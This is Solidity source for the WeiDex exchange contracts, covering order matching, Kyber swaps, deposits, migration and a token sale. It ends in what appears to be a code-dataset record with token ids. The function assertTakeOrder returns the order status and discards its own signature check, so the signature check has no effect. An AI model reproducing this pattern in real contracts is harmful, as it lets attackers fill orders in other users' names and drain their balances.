* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract ExchangeStorage is Ownable {
/**
* @dev The minimum fee rate that the maker will receive
* Note: 20% = 20 * 10^16
*/
uint256 constant internal minMakerFeeRate = 200000000000000000;
/**
* @dev The maximum fee rate that the maker will receive
* Note: 90% = 90 * 10^16
*/
uint256 constant internal maxMakerFeeRate = 900000000000000000;
/**
* @dev The minimum fee rate that the taker will pay
* Note: 0.1% = 0.1 * 10^16
*/
uint256 constant internal minTakerFeeRate = 1000000000000000;
/**
* @dev The maximum fee rate that the taker will pay
* Note: 1% = 1 * 10^16
*/
uint256 constant internal maxTakerFeeRate = 10000000000000000;
/**
* @dev The referrer will receive 10% from each taker fee.
* Note: 10% = 10 * 10^16
*/
uint256 constant internal referralFeeRate = 100000000000000000;
/**
* @dev The amount of percentage the maker will receive from each taker fee.
* Note: Initially: 50% = 50 * 10^16
*/
uint256 public makerFeeRate;
/**
* @dev The amount of percentage the will pay for taking an order.
* Note: Initially: 0.2% = 0.2 * 10^16
*/
uint256 public takerFeeRate;
/**
* @dev 2-level map: tokenAddress -> userAddress -> balance
*/
mapping(address => mapping(address => uint256)) internal balances;
/**
* @dev map: orderHash -> filled amount
*/
mapping(bytes32 => uint256) internal filled;
/**
* @dev map: orderHash -> isCancelled
*/
mapping(bytes32 => bool) internal cancelled;
/**
* @dev map: user -> userReferrer
*/
mapping(address => address) internal referrals;
/**
* @dev The address where all exchange fees (0,08%) are kept.
* Node: multisig wallet
*/
address public feeAccount;
/**
* @return return the balance of `token` for certain `user`
*/
function getBalance(
address user,
address token
)
public
view
returns (uint256)
{
return balances[token][user];
}
/**
* @return return the balance of multiple tokens for certain `user`
*/
function getBalances(
address user,
address[] memory token
)
public
view
returns(uint256[] memory balanceArray)
{
balanceArray = new uint256[](token.length);
for(uint256 index = 0; index < token.length; index++) {
balanceArray[index] = balances[token[index]][user];
}
}
/**
* @return return the filled amount of order specified by `orderHash`
*/
function getFill(
bytes32 orderHash
)
public
view
returns (uint256)
{
return filled[orderHash];
}
/**
* @return return the filled amount of multple orders specified by `orderHash` array
*/
function getFills(
bytes32[] memory orderHash
)
public
view
returns (uint256[] memory filledArray)
{
filledArray = new uint256[](orderHash.length);
for(uint256 index = 0; index < orderHash.length; index++) {
filledArray[index] = filled[orderHash[index]];
}
}
/**
* @return return true(false) if order specified by `orderHash` is(not) cancelled
*/
function getCancel(
bytes32 orderHash
)
public
view
returns (bool)
{
return cancelled[orderHash];
}
/**
* @return return array of true(false) if orders specified by `orderHash` array are(not) cancelled
*/
function getCancels(
bytes32[] memory orderHash
)
public
view
returns (bool[]memory cancelledArray)
{
cancelledArray = new bool[](orderHash.length);
for(uint256 index = 0; index < orderHash.length; index++) {
cancelledArray[index] = cancelled[orderHash[index]];
}
}
/**
* @return return the referrer address of `user`
*/
function getReferral(
address user
)
public
view
returns (address)
{
return referrals[user];
}
/**
* @return set new rate for the maker fee received
*/
function setMakerFeeRate(
uint256 newMakerFeeRate
)
external
onlyOwner
{
require(
newMakerFeeRate >= minMakerFeeRate &&
newMakerFeeRate <= maxMakerFeeRate,
"INVALID_MAKER_FEE_RATE"
);
makerFeeRate = newMakerFeeRate;
}
/**
* @return set new rate for the taker fee paid
*/
function setTakerFeeRate(
uint256 newTakerFeeRate
)
external
onlyOwner
{
require(
newTakerFeeRate >= minTakerFeeRate &&
newTakerFeeRate <= maxTakerFeeRate,
"INVALID_TAKER_FEE_RATE"
);
takerFeeRate = newTakerFeeRate;
}
/**
* @return set new fee account
*/
function setFeeAccount(
address newFeeAccount
)
external
onlyOwner
{
feeAccount = newFeeAccount;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Exchange is LibMath, LibOrder, LibSignatureValidator, ExchangeStorage {
using SafeMath for uint256;
/**
* @dev emitted when a trade is executed
*/
event Trade(
address indexed makerAddress, // Address that created the order
address indexed takerAddress, // Address that filled the order
bytes32 indexed orderHash, // Hash of the order
address makerFilledAsset, // Address of assets filled for maker
address takerFilledAsset, // Address of assets filled for taker
uint256 makerFilledAmount, // Amount of assets filled for maker
uint256 takerFilledAmount, // Amount of assets filled for taker
uint256 takerFeePaid, // Amount of fee paid by the taker
uint256 makerFeeReceived, // Amount of fee received by the maker
uint256 referralFeeReceived // Amount of fee received by the referrer
);
/**
* @dev emitted when a cancel order is executed
*/
event Cancel(
address indexed makerBuyToken, // Address of asset being bought.
address makerSellToken, // Address of asset being sold.
address indexed maker, // Address that created the order
bytes32 indexed orderHash // Hash of the order
);
/**
* @dev Compute the status of an order.
* Should be called before a contract execution is performet in order to not waste gas.
* @return OrderStatus.FILLABLE if the order is valid for taking.
* Note: See LibOrder.sol to see all statuses
*/
function getOrderInfo(
uint256 partialAmount,
Order memory order
)
public
view
returns (OrderInfo memory orderInfo)
{
// Compute the order hash
orderInfo.hash = getPrefixedHash(order);
// Fetch filled amount
orderInfo.filledAmount = filled[orderInfo.hash];
// Check taker balance
if(balances[order.makerBuyToken][order.taker] < order.takerSellAmount) {
orderInfo.status = uint8(OrderStatus.INVALID_TAKER_AMOUNT);
return orderInfo;
}
// Check maker balance
if(balances[order.makerSellToken][order.maker] < partialAmount) {
orderInfo.status = uint8(OrderStatus.INVALID_MAKER_AMOUNT);
return orderInfo;
}
// Check if order is filled
if (orderInfo.filledAmount.add(order.takerSellAmount) > order.makerBuyAmount) {
orderInfo.status = uint8(OrderStatus.FULLY_FILLED);
return orderInfo;
}
// Check for expiration
if (block.number >= order.expiration) {
orderInfo.status = uint8(OrderStatus.EXPIRED);
return orderInfo;
}
// Check if order has been cancelled
if (cancelled[orderInfo.hash]) {
orderInfo.status = uint8(OrderStatus.CANCELLED);
return orderInfo;
}
orderInfo.status = uint8(OrderStatus.FILLABLE);
return orderInfo;
}
/**
* @dev Execute a trade based on the input order and signature.
* Reverts if order is not valid
*/
function trade(
Order memory order,
bytes memory signature
)
public
{
bool result = _trade(order, signature);
require(result, "INVALID_TRADE");
}
/**
* @dev Execute a trade based on the input order and signature.
* If the order is valid returns true.
*/
function _trade(
Order memory order,
bytes memory signature
)
internal
returns(bool)
{
order.taker = msg.sender;
uint256 takerReceivedAmount = getPartialAmount(
order.makerSellAmount,
order.makerBuyAmount,
order.takerSellAmount
);
OrderInfo memory orderInfo = getOrderInfo(takerReceivedAmount, order);
uint8 status = assertTakeOrder(orderInfo.hash, orderInfo.status, order.maker, signature);
if(status != uint8(OrderStatus.FILLABLE)) {
return false;
}
OrderFill memory orderFill = getOrderFillResult(takerReceivedAmount, order);
executeTrade(order, orderFill);
filled[orderInfo.hash] = filled[orderInfo.hash].add(order.takerSellAmount);
emit Trade(
order.maker,
order.taker,
orderInfo.hash,
order.makerBuyToken,
order.makerSellToken,
orderFill.makerFillAmount,
orderFill.takerFillAmount,
orderFill.takerFeePaid,
orderFill.makerFeeReceived,
orderFill.referralFeeReceived
);
return true;
}
/**
* @dev Cancel an order if msg.sender is the order signer.
*/
function cancelSingleOrder(
Order memory order,
bytes memory signature
)
public
{
bytes32 orderHash = getPrefixedHash(order);
require(
recover(orderHash, signature) == msg.sender,
"INVALID_SIGNER"
);
require(
cancelled[orderHash] == false,
"ALREADY_CANCELLED"
);
cancelled[orderHash] = true;
emit Cancel(
order.makerBuyToken,
order.makerSellToken,
msg.sender,
orderHash
);
}
/**
* @dev Computation of the following properties based on the order input:
* takerFillAmount -> amount of assets received by the taker
* makerFillAmount -> amount of assets received by the maker
* takerFeePaid -> amount of fee paid by the taker (0.2% of takerFillAmount)
* makerFeeReceived -> amount of fee received by the maker (50% of takerFeePaid)
* referralFeeReceived -> amount of fee received by the taker referrer (10% of takerFeePaid)
* exchangeFeeReceived -> amount of fee received by the exchange (40% of takerFeePaid)
*/
function getOrderFillResult(
uint256 takerReceivedAmount,
Order memory order
)
internal
view
returns (OrderFill memory orderFill)
{
orderFill.takerFillAmount = takerReceivedAmount;
orderFill.makerFillAmount = order.takerSellAmount;
// 0.2% == 0.2*10^16
orderFill.takerFeePaid = getFeeAmount(
takerReceivedAmount,
takerFeeRate
);
// 50% of taker fee == 50*10^16
orderFill.makerFeeReceived = getFeeAmount(
orderFill.takerFeePaid,
makerFeeRate
);
// 10% of taker fee == 10*10^16
orderFill.referralFeeReceived = getFeeAmount(
orderFill.takerFeePaid,
referralFeeRate
);
// exchangeFee = (takerFeePaid - makerFeeReceived - referralFeeReceived)
orderFill.exchangeFeeReceived = orderFill.takerFeePaid.sub(
orderFill.makerFeeReceived).sub(
orderFill.referralFeeReceived);
}
/**
* @dev Throws when the order status is invalid or the signer is not valid.
*/
function assertTakeOrder(
bytes32 orderHash,
uint8 status,
address signer,
bytes memory signature
)
internal
pure
returns(uint8)
{
uint8 result = uint8(OrderStatus.FILLABLE);
if(recover(orderHash, signature) != signer) {
result = uint8(OrderStatus.INVALID_SIGNER);
}
if(status != uint8(OrderStatus.FILLABLE)) {
result = status;
}
return status;
}
/**
* @dev Updates the contract state i.e. user balances
*/
function executeTrade(
Order memory order,
OrderFill memory orderFill
)
private
{
uint256 makerGiveAmount = orderFill.takerFillAmount.sub(orderFill.makerFeeReceived);
uint256 takerFillAmount = orderFill.takerFillAmount.sub(orderFill.takerFeePaid);
address referrer = referrals[order.taker];
address feeAddress = feeAccount;
balances[order.makerSellToken][referrer] = balances[order.makerSellToken][referrer].add(orderFill.referralFeeReceived);
balances[order.makerSellToken][feeAddress] = balances[order.makerSellToken][feeAddress].add(orderFill.exchangeFeeReceived);
balances[order.makerBuyToken][order.taker] = balances[order.makerBuyToken][order.taker].sub(orderFill.makerFillAmount);
balances[order.makerBuyToken][order.maker] = balances[order.makerBuyToken][order.maker].add(orderFill.makerFillAmount);
balances[order.makerSellToken][order.taker] = balances[order.makerSellToken][order.taker].add(takerFillAmount);
balances[order.makerSellToken][order.maker] = balances[order.makerSellToken][order.maker].sub(makerGiveAmount);
}
}
contract ExchangeKyberProxy is Exchange, LibKyberData {
using SafeERC20 for IERC20;
/**
* @dev The precision used for calculating the amounts - 10*18
*/
uint256 constant internal PRECISION = 1000000000000000000;
/**
* @dev Max decimals allowed when calculating amounts.
*/
uint256 constant internal MAX_DECIMALS = 18;
/**
* @dev Decimals of Ether.
*/
uint256 constant internal ETH_DECIMALS = 18;
/**
* @dev The address that represents ETH in Kyber Network Contracts.
*/
address constant internal KYBER_ETH_TOKEN_ADDRESS =
address(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
/**
* @dev KyberNetworkProxy contract address
*/
IKyberNetworkProxy constant internal kyberNetworkContract =
IKyberNetworkProxy(0x818E6FECD516Ecc3849DAf6845e3EC868087B755);
/**
* @dev Swaps ETH/TOKEN, TOKEN/ETH or TOKEN/TOKEN using KyberNetwork reserves.
*/
function kyberSwap(
uint256 givenAmount,
address givenToken,
address receivedToken,
bytes32 hash
)
public
payable
{
address taker = msg.sender;
KyberData memory kyberData = getSwapInfo(
givenAmount,
givenToken,
receivedToken,
taker
);
uint256 convertedAmount = kyberNetworkContract.trade.value(kyberData.value)(
kyberData.givenToken,
givenAmount,
kyberData.receivedToken,
taker,
kyberData.expectedReceiveAmount,
kyberData.rate,
feeAccount
);
emit Trade(
address(kyberNetworkContract),
taker,
hash,
givenToken,
receivedToken,
givenAmount,
convertedAmount,
0,
0,
0
);
}
/**
* @dev Exchange ETH/TOKEN, TOKEN/ETH or TOKEN/TOKEN using the internal
* balance mapping that keeps track of user's balances. It requires user to first invoke deposit function.
* The function relies on KyberNetworkProxy contract.
*/
function kyberTrade(
uint256 givenAmount,
address givenToken,
address receivedToken,
bytes32 hash
)
public
{
address taker = msg.sender;
KyberData memory kyberData = getTradeInfo(
givenAmount,
givenToken,
receivedToken
);
balances[givenToken][taker] = balances[givenToken][taker].sub(givenAmount);
uint256 convertedAmount = kyberNetworkContract.trade.value(kyberData.value)(
kyberData.givenToken,
givenAmount,
kyberData.receivedToken,
address(this),
kyberData.expectedReceiveAmount,
kyberData.rate,
feeAccount
);
balances[receivedToken][taker] = balances[receivedToken][taker].add(convertedAmount);
emit Trade(
address(kyberNetworkContract),
taker,
hash,
givenToken,
receivedToken,
givenAmount,
convertedAmount,
0,
0,
0
);
}
/**
* @dev Helper function to determine what is being swapped.
*/
function getSwapInfo(
uint256 givenAmount,
address givenToken,
address receivedToken,
address taker
)
private
returns(KyberData memory)
{
KyberData memory kyberData;
uint256 givenTokenDecimals;
uint256 receivedTokenDecimals;
if(givenToken == address(0x0)) {
require(msg.value == givenAmount, "INVALID_ETH_VALUE");
kyberData.givenToken = KYBER_ETH_TOKEN_ADDRESS;
kyberData.receivedToken = receivedToken;
kyberData.value = givenAmount;
givenTokenDecimals = ETH_DECIMALS;
receivedTokenDecimals = IERC20(receivedToken).decimals();
} else if(receivedToken == address(0x0)) {
kyberData.givenToken = givenToken;
kyberData.receivedToken = KYBER_ETH_TOKEN_ADDRESS;
kyberData.value = 0;
givenTokenDecimals = IERC20(givenToken).decimals();
receivedTokenDecimals = ETH_DECIMALS;
IERC20(givenToken).safeTransferFrom(taker, address(this), givenAmount);
IERC20(givenToken).safeApprove(address(kyberNetworkContract), givenAmount);
} else {
kyberData.givenToken = givenToken;
kyberData.receivedToken = receivedToken;
kyberData.value = 0;
givenTokenDecimals = IERC20(givenToken).decimals();
receivedTokenDecimals = IERC20(receivedToken).decimals();
IERC20(givenToken).safeTransferFrom(taker, address(this), givenAmount);
IERC20(givenToken).safeApprove(address(kyberNetworkContract), givenAmount);
}
(kyberData.rate, ) = kyberNetworkContract.getExpectedRate(
kyberData.givenToken,
kyberData.receivedToken,
givenAmount
);
kyberData.expectedReceiveAmount = calculateExpectedAmount(
givenAmount,
givenTokenDecimals,
receivedTokenDecimals,
kyberData.rate
);
return kyberData;
}
/**
* @dev Helper function to determines what is being
swapped using the internal balance mapping.
*/
function getTradeInfo(
uint256 givenAmount,
address givenToken,
address receivedToken
)
private
returns(KyberData memory)
{
KyberData memory kyberData;
uint256 givenTokenDecimals;
uint256 receivedTokenDecimals;
if(givenToken == address(0x0)) {
kyberData.givenToken = KYBER_ETH_TOKEN_ADDRESS;
kyberData.receivedToken = receivedToken;
kyberData.value = givenAmount;
givenTokenDecimals = ETH_DECIMALS;
receivedTokenDecimals = IERC20(receivedToken).decimals();
} else if(receivedToken == address(0x0)) {
kyberData.givenToken = givenToken;
kyberData.receivedToken = KYBER_ETH_TOKEN_ADDRESS;
kyberData.value = 0;
givenTokenDecimals = IERC20(givenToken).decimals();
receivedTokenDecimals = ETH_DECIMALS;
IERC20(givenToken).safeApprove(address(kyberNetworkContract), givenAmount);
} else {
kyberData.givenToken = givenToken;
kyberData.receivedToken = receivedToken;
kyberData.value = 0;
givenTokenDecimals = IERC20(givenToken).decimals();
receivedTokenDecimals = IERC20(receivedToken).decimals();
IERC20(givenToken).safeApprove(address(kyberNetworkContract), givenAmount);
}
(kyberData.rate, ) = kyberNetworkContract.getExpectedRate(
kyberData.givenToken,
kyberData.receivedToken,
givenAmount
);
kyberData.expectedReceiveAmount = calculateExpectedAmount(
givenAmount,
givenTokenDecimals,
receivedTokenDecimals,
kyberData.rate
);
return kyberData;
}
function getExpectedRateBatch(
address[] memory givenTokens,
address[] memory receivedTokens,
uint256[] memory givenAmounts
)
public
view
returns(uint256[] memory, uint256[] memory)
{
uint256 size = givenTokens.length;
uint256[] memory expectedRates = new uint256[](size);
uint256[] memory slippageRates = new uint256[](size);
for(uint256 index = 0; index < size; index++) {
(expectedRates[index], slippageRates[index]) = kyberNetworkContract.getExpectedRate(
givenTokens[index],
receivedTokens[index],
givenAmounts[index]
);
}
return (expectedRates, slippageRates);
}
/**
* @dev Helper function to get the expected amount based on
* the given token and the rate from the KyberNetworkProxy
*/
function calculateExpectedAmount(
uint256 givenAmount,
uint256 givenDecimals,
uint256 receivedDecimals,
uint256 rate
)
internal
pure
returns(uint)
{
if (receivedDecimals >= givenDecimals) {
require(
(receivedDecimals - givenDecimals) <= MAX_DECIMALS,
"MAX_DECIMALS_EXCEEDED"
);
return (givenAmount * rate * (10 ** (receivedDecimals - givenDecimals)) ) / PRECISION;
} else {
require(
(givenDecimals - receivedDecimals) <= MAX_DECIMALS,
"MAX_DECIMALS_EXCEEDED"
);
return (givenAmount * rate) / (PRECISION * (10**(givenDecimals - receivedDecimals)));
}
}
}
contract ExchangeBatchTrade is Exchange {
/**
* @dev Cancel an array of orders if msg.sender is the order signer.
*/
function cancelMultipleOrders(
Order[] memory orders,
bytes[] memory signatures
)
public
{
for (uint256 index = 0; index < orders.length; index++) {
cancelSingleOrder(
orders[index],
signatures[index]
);
}
}
/**
* @dev Execute multiple trades based on the input orders and signatures.
* Note: reverts of one or more trades fail.
*/
function takeAllOrRevert(
Order[] memory orders,
bytes[] memory signatures
)
public
{
for (uint256 index = 0; index < orders.length; index++) {
bool result = _trade(orders[index], signatures[index]);
require(result, "INVALID_TAKEALL");
}
}
/**
* @dev Execute multiple trades based on the input orders and signatures.
* Note: does not revert if one or more trades fail.
*/
function takeAllPossible(
Order[] memory orders,
bytes[] memory signatures
)
public
{
for (uint256 index = 0; index < orders.length; index++) {
_trade(orders[index], signatures[index]);
}
}
}
contract ExchangeMovements is ExchangeStorage {
using SafeERC20 for IERC20;
using SafeMath for uint256;
/**
* @dev emitted when a deposit is received
*/
event Deposit(
address indexed token,
address indexed user,
address indexed referral,
address beneficiary,
uint256 amount,
uint256 balance
);
/**
* @dev emitted when a withdraw is received
*/
event Withdraw(
address indexed token,
address indexed user,
uint256 amount,
uint256 balance
);
/**
* @dev emitted when a transfer is received
*/
event Transfer(
address indexed token,
address indexed user,
address indexed beneficiary,
uint256 amount,
uint256 userBalance,
uint256 beneficiaryBalance
);
/**
* @dev Updates the level 2 map `balances` based on the input
* Note: token address is (0x0) when the deposit is for ETH
*/
function deposit(
address token,
uint256 amount,
address beneficiary,
address referral
)
public
payable
{
uint256 value = amount;
address user = msg.sender;
if(token == address(0x0)) {
value = msg.value;
} else {
IERC20(token).safeTransferFrom(user, address(this), value);
}
balances[token][beneficiary] = balances[token][beneficiary].add(value);
if(referrals[user] == address(0x0)) {
referrals[user] = referral;
}
emit Deposit(
token,
user,
referrals[user],
beneficiary,
value,
balances[token][beneficiary]
);
}
/**
* @dev Updates the level 2 map `balances` based on the input
* Note: token address is (0x0) when the deposit is for ETH
*/
function withdraw(
address token,
uint amount
)
public
{
address payable user = msg.sender;
require(
balances[token][user] >= amount,
"INVALID_WITHDRAW"
);
balances[token][user] = balances[token][user].sub(amount);
if (token == address(0x0)) {
user.transfer(amount);
} else {
IERC20(token).safeTransfer(user, amount);
}
emit Withdraw(
token,
user,
amount,
balances[token][user]
);
}
/**
* @dev Transfer assets between two users inside the exchange. Updates the level 2 map `balances`
*/
function transfer(
address token,
address to,
uint256 amount
)
external
payable
{
address user = msg.sender;
require(
balances[token][user] >= amount,
"INVALID_TRANSFER"
);
balances[token][user] = balances[token][user].sub(amount);
balances[token][to] = balances[token][to].add(amount);
emit Transfer(
token,
user,
to,
amount,
balances[token][user],
balances[token][to]
);
}
}
contract ExchangeUpgradability is Ownable, ExchangeStorage {
using SafeERC20 for IERC20;
using SafeMath for uint256;
/**
* @dev version of the exchange
*/
uint8 constant public VERSION = 1;
/**
* @dev the address of the upgraded exchange contract
*/
address public newExchange;
/**
* @dev flag to allow migrating to an upgraded contract
*/
bool public migrationAllowed;
/**
* @dev emitted when funds are migrated
*/
event FundsMigrated(address indexed user, address indexed newExchange);
/**
* @dev Owner can set the address of the new version of the exchange contract.
*/
function setNewExchangeAddress(address exchange)
external
onlyOwner
{
newExchange = exchange;
}
/**
* @dev Enables/Disables the migrations. Can be called only by the owner.
*/
function allowOrRestrictMigrations()
external
onlyOwner
{
migrationAllowed = !migrationAllowed;
}
/**
* @dev Migrating assets of the caller to the new exchange contract
*/
function migrateFunds(address[] calldata tokens) external {
require(
false != migrationAllowed,
"MIGRATIONS_DISALLOWED"
);
require(
IExchangeUpgradability(newExchange).VERSION() > VERSION,
"INVALID_VERSION"
);
migrateEthers();
migrateTokens(tokens);
emit FundsMigrated(msg.sender, newExchange);
}
/**
* @dev Helper function to migrate user's Ethers. Should be called in migrateFunds() function.
*/
function migrateEthers() private {
address user = msg.sender;
uint256 etherAmount = balances[address(0x0)][user];
if (etherAmount > 0) {
balances[address(0x0)][user] = 0;
IExchangeUpgradability(newExchange).importEthers.value(etherAmount)(user);
}
}
/**
* @dev Helper function to migrate user's tokens. Should be called in migrateFunds() function.
*/
function migrateTokens(address[] memory tokens) private {
address user = msg.sender;
address exchange = newExchange;
for (uint256 index = 0; index < tokens.length; index++) {
address tokenAddress = tokens[index];
uint256 tokenAmount = balances[tokenAddress][user];
if (0 == tokenAmount) {
continue;
}
IERC20(tokenAddress).safeApprove(exchange, tokenAmount);
balances[tokenAddress][user] = 0;
IExchangeUpgradability(exchange).importTokens(tokenAddress, tokenAmount, user);
}
}
/**
* @dev Helper function to migrate user's Ethers. Should be called only from the new exchange contract.
*/
function importEthers(address user)
external
payable
{
require(
false != migrationAllowed,
"MIGRATION_DISALLOWED"
);
require(
user != address(0x0),
"INVALID_USER"
);
require(
msg.value > 0,
"INVALID_AMOUNT"
);
require(
IExchangeUpgradability(msg.sender).VERSION() < VERSION,
"INVALID_VERSION"
);
balances[address(0x0)][user] = balances[address(0x0)][user].add(msg.value); // todo: constants
}
/**
* @dev Helper function to migrate user's Tokens. Should be called only from the new exchange contract.
*/
function importTokens(
address token,
uint256 amount,
address user
)
external
{
require(
false != migrationAllowed,
"MIGRATION_DISALLOWED"
);
require(
token != address(0x0),
"INVALID_TOKEN"
);
require(
user != address(0x0),
"INVALID_USER"
);
require(
amount > 0,
"INVALID_AMOUNT"
);
require(
IExchangeUpgradability(msg.sender).VERSION() < VERSION,
"INVALID_VERSION"
);
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
balances[token][user] = balances[token][user].add(amount);
}
}
contract ExchangeOffering is ExchangeStorage, LibCrowdsale {
address constant internal BURN_ADDRESS = address(0x000000000000000000000000000000000000dEaD);
address constant internal ETH_ADDRESS = address(0x0);
using SafeERC20 for IERC20;
using SafeMath for uint256;
mapping(address => Crowdsale) public crowdsales;
mapping(address => mapping(address => uint256)) public contributions;
event TokenPurchase(
address indexed token,
address indexed user,
uint256 tokenAmount,
uint256 weiAmount
);
event TokenBurned(
address indexed token,
uint256 tokenAmount
);
function registerCrowdsale(
Crowdsale memory crowdsale,
address token
)
public
onlyOwner
{
require(
CrowdsaleStatus.VALID == getCrowdsaleStatus(crowdsale),
"INVALID_CROWDSALE"
);
require(
crowdsales[token].wallet == address(0),
"CROWDSALE_ALREADY_EXISTS"
);
uint256 tokenForSale = crowdsale.hardCap.mul(crowdsale.tokenRatio);
IERC20(token).safeTransferFrom(crowdsale.wallet, address(this), tokenForSale);
crowdsales[token] = crowdsale;
}
function buyTokens(address token)
public
payable
{
require(msg.value != 0, "INVALID_MSG_VALUE");
uint256 weiAmount = msg.value;
address user = msg.sender;
Crowdsale memory crowdsale = crowdsales[token];
require(
ContributionStatus.VALID == validContribution(weiAmount, crowdsale, user, token),
"INVALID_CONTRIBUTION"
);
uint256 purchasedTokens = weiAmount.mul(crowdsale.tokenRatio);
crowdsale.leftAmount = crowdsale.leftAmount.sub(purchasedTokens);
crowdsale.weiRaised = crowdsale.weiRaised.add(weiAmount);
balances[ETH_ADDRESS][crowdsale.wallet] = balances[ETH_ADDRESS][crowdsale.wallet].add(weiAmount);
balances[token][user] = balances[token][user].add(purchasedTokens);
contributions[token][user] = contributions[token][user].add(weiAmount);
crowdsales[token] = crowdsale;
emit TokenPurchase(token, user, purchasedTokens, weiAmount);
}
function burnTokensWhenFinished(address token) public
{
require(
isFinished(crowdsales[token].endBlock),
"CROWDSALE_NOT_FINISHED_YET"
);
uint256 leftAmount = crowdsales[token].leftAmount;
crowdsales[token].leftAmount = 0;
IERC20(token).safeTransfer(BURN_ADDRESS, leftAmount);
emit TokenBurned(token, leftAmount);
}
function validContribution(
uint256 weiAmount,
Crowdsale memory crowdsale,
address user,
address token
)
public
view
returns(ContributionStatus)
{
if (!isOpened(crowdsale.startBlock, crowdsale.endBlock)) {
return ContributionStatus.CROWDSALE_NOT_OPEN;
}
if(weiAmount < crowdsale.minContribution) {
return ContributionStatus.MIN_CONTRIBUTION;
}
if (contributions[token][user].add(weiAmount) > crowdsale.maxContribution) {
return ContributionStatus.MAX_CONTRIBUTION;
}
if (crowdsale.hardCap < crowdsale.weiRaised.add(weiAmount)) {
return ContributionStatus.HARDCAP_REACHED;
}
return ContributionStatus.VALID;
}
}
contract ExchangeSwap is Exchange, ExchangeMovements {
/**
* @dev Swaps ETH/TOKEN, TOKEN/ETH or TOKEN/TOKEN using off-chain signed messages.
* The flow of the function is Deposit -> Trade -> Withdraw to allow users to directly
* take liquidity without the need of deposit and withdraw.
*/
function swapFill(
Order[] memory orders,
bytes[] memory signatures,
uint256 givenAmount,
address givenToken,
address receivedToken,
address referral
)
public
payable
{
address taker = msg.sender;
uint256 balanceGivenBefore = balances[givenToken][taker];
uint256 balanceReceivedBefore = balances[receivedToken][taker];
deposit(givenToken, givenAmount, taker, referral);
for (uint256 index = 0; index < orders.length; index++) {
require(orders[index].makerBuyToken == givenToken, "GIVEN_TOKEN");
require(orders[index].makerSellToken == receivedToken, "RECEIVED_TOKEN");
_trade(orders[index], signatures[index]);
}
uint256 balanceGivenAfter = balances[givenToken][taker];
uint256 balanceReceivedAfter = balances[receivedToken][taker];
uint256 balanceGivenDelta = balanceGivenAfter.sub(balanceGivenBefore);
uint256 balanceReceivedDelta = balanceReceivedAfter.sub(balanceReceivedBefore);
if(balanceGivenDelta > 0) {
withdraw(givenToken, balanceGivenDelta);
}
if(balanceReceivedDelta > 0) {
withdraw(receivedToken, balanceReceivedDelta);
}
}
}
contract WeiDex is
Exchange,
ExchangeKyberProxy,
ExchangeBatchTrade,
ExchangeMovements,
ExchangeUpgradability,
ExchangeOffering,
ExchangeSwap
{
function () external payable { }
}
|
* @return return the balance of multiple tokens for certain `user`/
|
function getBalances(
address user,
address[] memory token
)
public
view
returns(uint256[] memory balanceArray)
{
balanceArray = new uint256[](token.length);
for(uint256 index = 0; index < token.length; index++) {
balanceArray[index] = balances[token[index]][user];
}
}
| 5,365,829 |
[
1,
2463,
327,
326,
11013,
434,
3229,
2430,
364,
8626,
1375,
1355,
68,
19,
2,
0,
0,
0,
0,
0,
